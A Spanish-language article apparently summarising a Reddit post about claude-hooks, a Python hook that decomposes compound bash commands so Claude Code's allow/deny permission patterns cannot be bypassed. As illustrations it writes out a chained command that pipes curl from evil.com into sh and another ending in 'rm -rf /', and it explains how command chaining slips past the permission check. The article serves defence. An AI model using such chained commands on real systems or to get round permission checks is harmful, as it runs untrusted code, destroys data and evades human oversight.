Gancho Inteligente de Permisos de Bash para Claude Code Previene la Omisión de Comandos Compuestos

Brecha de seguridad en el sistema de permisos de Claude Code
El sistema de permisos de Claude Code tiene una vulnerabilidad donde los comandos compuestos de bash pueden eludir los patrones de permitir/denegar. Cuando permites un comando como Bash(git status:*), Claude Code compara toda la cadena del comando con ese patrón. Esto significa que un comando compuesto como git status && curl -s http://evil.com | sh coincidiría con git status* y sería aprobado automáticamente, aunque encadena comandos curl y sh.
La solución: claude-hooks
La solución es un único script de Python llamado claude-hooks que se ejecuta como un gancho PreToolUse. Realiza varias funciones clave:
- Descompone comandos compuestos dividiendo en
&&,||,;,|, saltos de línea, y extrae contenidos de sub-shells$()y comillas invertidas recursivamente - Normaliza cada subcomando eliminando prefijos de variables de entorno, redirecciones de E/S, cuerpos de heredoc y palabras clave del shell
- Verifica cada subcomando individualmente contra tus patrones existentes
permissions.allowypermissions.deny - Denegar gana — si cualquier subcomando coincide con un patrón de denegación, todo el comando es denegado
- Todos deben permitirse — la aprobación automática solo ocurre cuando cada subcomando coincide con un patrón de permiso
- Falla con gracia — si algún subcomando es desconocido, aún obtienes el mensaje de permiso normal
Instrucciones de configuración
La instalación toma unos 30 segundos:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAñade a ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}La herramienta no tiene dependencias más allá de Python 3 y no requiere configuración — lee tus patrones de permisos existentes.
Comportamiento de ejemplo
git status: Permitido tanto con como sin el ganchogit add . && git commit -m "msg": Permitido tanto con como sin el gancho (ambos coinciden congit *)git status && rm -rf /: Permitido sin el gancho, se muestra mensaje con el gancho (rm -rf /no tiene permiso)`npm test | tee output.log`: PermitidoFOO=bar git push: Podría no coincidir sin el gancho, permitido con el gancho (variable de entorno eliminada)
El repositorio está disponible en https://github.com/liberzon/claude-hooks bajo licencia MIT.
📖 Read the full source: r/ClaudeAI
👀 Ver también

Desgarras: Un Escáner de Malware Avanzado Impulsado por la Comunidad para Archivos SKILL.md de ClawHub
Declawed es una herramienta de seguridad para escanear archivos SKILL.md en ClawHub, detectando inyecciones de prompts, contenido malicioso y ladrones de información, utilizando conjuntos de reglas impulsados por la comunidad.

Cinco Pasos Esenciales de Seguridad para Instancias de OpenClaw
Una publicación de Reddit advierte que ejecutar OpenClaw con la configuración predeterminada crea riesgos de seguridad significativos y describe cinco acciones inmediatas: cambiar el puerto predeterminado, usar Tailscale para acceso privado, configurar un firewall, crear cuentas separadas para el agente y escanear habilidades antes de la instalación.

Permisos de seguridad de 'Permitir todas las acciones del navegador' en Claude Cowork y soluciones propuestas
Un usuario de Reddit destaca que el botón 'Permitir todo' de Claude Cowork otorga acceso permanente e ilimitado al navegador en todas las sesiones futuras sin visibilidad, límites ni caducidad, lo que genera riesgos de seguridad. La publicación propone permisos con alcance de sesión o de habilidad como configuraciones predeterminadas más seguras.

SCION: La alternativa segura de Suiza al protocolo de enrutamiento BGP
SCION (Escalabilidad, Control y Aislamiento en Redes de Próxima Generación) es una arquitectura de enrutamiento de internet desarrollada en ETH Zúrich que reemplaza los fundamentos de BGP con seguridad integrada y enrutamiento multipath. A diferencia de los parches de BGP como RPKI y BGPsec, SCION establece decenas o cientos de rutas paralelas con reconexión en milisegundos cuando ocurren fallos.